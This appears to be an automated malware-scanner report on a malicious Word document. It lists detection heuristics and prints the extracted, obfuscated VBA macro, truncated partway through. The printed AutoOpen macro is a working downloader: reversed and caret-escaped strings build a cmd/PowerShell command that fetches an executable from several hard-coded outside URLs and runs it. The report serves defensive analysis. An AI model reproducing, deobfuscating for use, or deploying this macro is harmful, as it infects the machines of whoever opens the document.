MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is a malicious Office document containing a VBA macro, as indicated by multiple heuristics including OLE_VBA_MACROS and OLE_VBA_AUTOOPEN. The AutoOpen macro attempts to execute a command using the Windows command interpreter, likely to download and run a second-stage payload. The specific command construction is obfuscated, but the intent is clear.
Heuristics 5
-
ClamAV: Doc.Malware.Generic-6688043-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6688043-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5494 bytes |
SHA-256: 05bcff5aa6070e2eb9cc14329747205fa5e5a4951e19f6067b2ddefbccc1007d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "cbIPRfAVPurh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const iwYjVbPGQpU = 0
Dim zLNMC(2)
zLNMC(0) = Mid(XUpNwO, 418, 271)
zLNMC(1) = MidB(rrJJp, 9, 618)
Dim kQSicW(4)
kQSicW(0) = Right(ZaOdz, 183)
kQSicW(1) = Left(pVhzfV, 829)
kQSicW(2) = Right(ZaOdz, 183)
kQSicW(3) = MidB(rrJJp, 9, 618)
Dim RRsaG(4)
RRsaG(0) = MidB(rrJJp, 9, 618)
RRsaG(1) = Mid(XUpNwO, 418, 271)
RRsaG(2) = Mid(XUpNwO, 418, 271)
RRsaG(3) = Right(ZaOdz, 183)
Dim KOpKDD(3)
KOpKDD(0) = Left(pVhzfV, 829)
KOpKDD(1) = MidB(rrJJp, 9, 618)
KOpKDD(2) = Mid(XUpNwO, 418, 271)
Shell@ bDtZPQGfu + WRhJhFuS + zYpvMjJEwrWi, CInt(iwYjVbPGQpU)
Dim MXZsUQ(4)
MXZsUQ(0) = Mid(XUpNwO, 418, 271)
MXZsUQ(1) = MidB(rrJJp, 9, 618)
MXZsUQ(2) = MidB(rrJJp, 9, 618)
MXZsUQ(3) = Right(ZaOdz, 183)
Dim WDzMFs(2)
WDzMFs(0) = Left(pVhzfV, 829)
WDzMFs(1) = Left(pVhzfV, 829)
Dim FVGEh(5)
FVGEh(0) = Left(pVhzfV, 829)
FVGEh(1) = MidB(rrJJp, 9, 618)
FVGEh(2) = Mid(XUpNwO, 418, 271)
FVGEh(3) = Right(ZaOdz, 183)
FVGEh(4) = Left(pVhzfV, 829)
End Sub
Attribute VB_Name = "SddtwIVmnX"
Function bDtZPQGfu()
Dim jphZO(3)
jphZO(0) = MidB(rrJJp, 9, 618)
jphZO(1) = Left(pVhzfV, 829)
jphZO(2) = MidB(rrJJp, 9, 618)
QGKTBNqKn = Format(Chr(8 + 12 + 16 + 2 + 61)) + "md /V^:^O/" + Format(Chr(5 + 8 + 11 + 2 + 41)) + Format(Chr(2 + 3 + 5 + 0 + 24)) + "s^e^t" + " B^7=^ ^ ^ ^ " + " ^ " + " ^ ^ ^ ^}^}{^h" + Format(Chr(8 + 12 + 16 + 2 + 61)) + "^ta" + Format(Chr(8 + 12 + 16 + 2 + 61)) + "}^" + ";^ka^er^b" + "^;" + Format(Chr(5 + 8 + 11 + 2 + 41)) + "^Ej$ met^I^-e^k^o"
Dim kjLpkB(4)
kjLpkB(0) = MidB(rrJJp, 9, 618)
kjLpkB(1) = Left(pVhzfV, 829)
kjLpkB(2) = Left(pVhzfV, 829)
kjLpkB(3) = MidB(rrJJp, 9, 618)
Dim aWroSC(5)
aWroSC(0) = Mid(XUpNwO, 418, 271)
aWroSC(1) = MidB(rrJJp, 9, 618)
aWroSC(2) = Left(pVhzfV, 829)
aWroSC(3) = MidB(rrJJp, 9, 618)
aWroSC(4) = Left(pVhzfV, 829)
oUQCPn = "vnI^;)" + Format(Chr(5 + 8 + 11 + 2 + 41)) + "^E" + "^j$ ^,d^D^" + "W^$(^e" + "^l^iFd^aolnwoD^.NG^z$" + "^{^yr^t^{)^dJ^i$ ni d^DW^$(^h" + Format(Chr(8 + 12 + 16 + 2 + 61)) + "aer^of;'exe^.^'+^b^w^l^" + "$^+^'\^'+" + Format(Chr(8 + 12 + 16 + 2 + 61)) + "^il" + "bup^:vne$=" + Format(Chr(5 + 8 + 11 + 2 + 41)) + "^Ej$;^'8^8' =^ "
Dim HFMYB(5)
HFMYB(0) = Mid(XUpNwO, 418, 271)
HFMYB(1) = Right(ZaOdz, 183)
HFMYB(2) = Left(pVhzfV, 829)
HFMYB(3) = Left(pVhzfV, 829)
HFMYB(4) = MidB(rrJJp, 9, 618)
Dim bwYni(2)
bwYni(0) = Right(ZaOdz, 183)
bwYni(1) = MidB(rrJJp, 9, 618)
Dim MrOiCc(3)
MrOiCc(0) = Right(ZaOdz, 183)
MrOiCc(1) = MidB(rrJJp, 9, 618)
MrOiCc(2) = Left(pVhzfV, 829)
hIwsqBJS = "^bw^l$^;)^'@^'(" + "^t^ilpS.^'IQ^lFHq^p/m^o" + Format(Chr(8 + 12 + 16 + 2 + 61)) + "^." + "ez^d^ar^avt//^:^p^t^th^@^a/^gr" + "o.yro^t" + Format(Chr(8 + 12 + 16 + 2 + 61)) + "ivs^s^u//:p" + "tth@^l^t^2^fp" + Format(Chr(5 + 8 + 11 + 2 + 41)) + "/^L^LORY^AP/E" + "N8/^mo" + Format(Chr(8 + 12 + 16 + 2 + 61)) + ".i" + "r^a^lt^oni" + "ze^gn^in^i" + Format(Chr(8 + 12 + 16 + 2 + 61)) + "late^mr^ib//^:ptth^@^Fa^1" + "^a^1^a^T^P/m^o" + Format(Chr(8 + 12 + 16 + 2 + 61)) + "^.^txew"
Dim ApkKrB(5)
ApkKrB(0) = Left(pVhzfV, 829)
ApkKrB(1) = Right(ZaOdz, 183)
ApkKrB(2) = Right(ZaOdz, 183)
ApkKrB(3) = MidB(rrJJp, 9, 618)
ApkKrB(4) = MidB(rrJJp, 9, 618)
DrYwGH = "t^eb//:^p^t^t^" + "h^@^bfR/ten.i" + "n^ikr^b//:^p^tt^h'=d^Ji^$;tn^" + "e^i^l" + Format(Chr(5 + 8 + 11 + 2 + 41)) + "^b^eW." + "^t^eN^ ^" + "t" + Format(Chr(8 + 12 + 16 + 2 + 61)) + "ej^b^o^-^w^en^" + "=NG^z$ lle^h^sr^e" + "^w^o^p&&^f^or /L %^"
Dim SwUAz(3)
SwUAz(0) = Right(ZaOdz, 183)
SwUAz(1) = Right(ZaOdz, 183)
SwUAz(2) = Right(ZaOdz, 183)
Dim tESLz(4)
tESLz(0) = Left(pVhzfV, 829)
tESLz(1) = Mid(XUpNwO, 418, 271)
tESLz(2) = Right(ZaOdz, 183)
tESLz(3) = MidB(rrJJp, 9, 618)
Dim inmNl(4)
inmNl(0) = Left(pVhzfV, 829)
inmNl(1) = Right(ZaOdz, 183)
inmNl(2) = Mid(
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.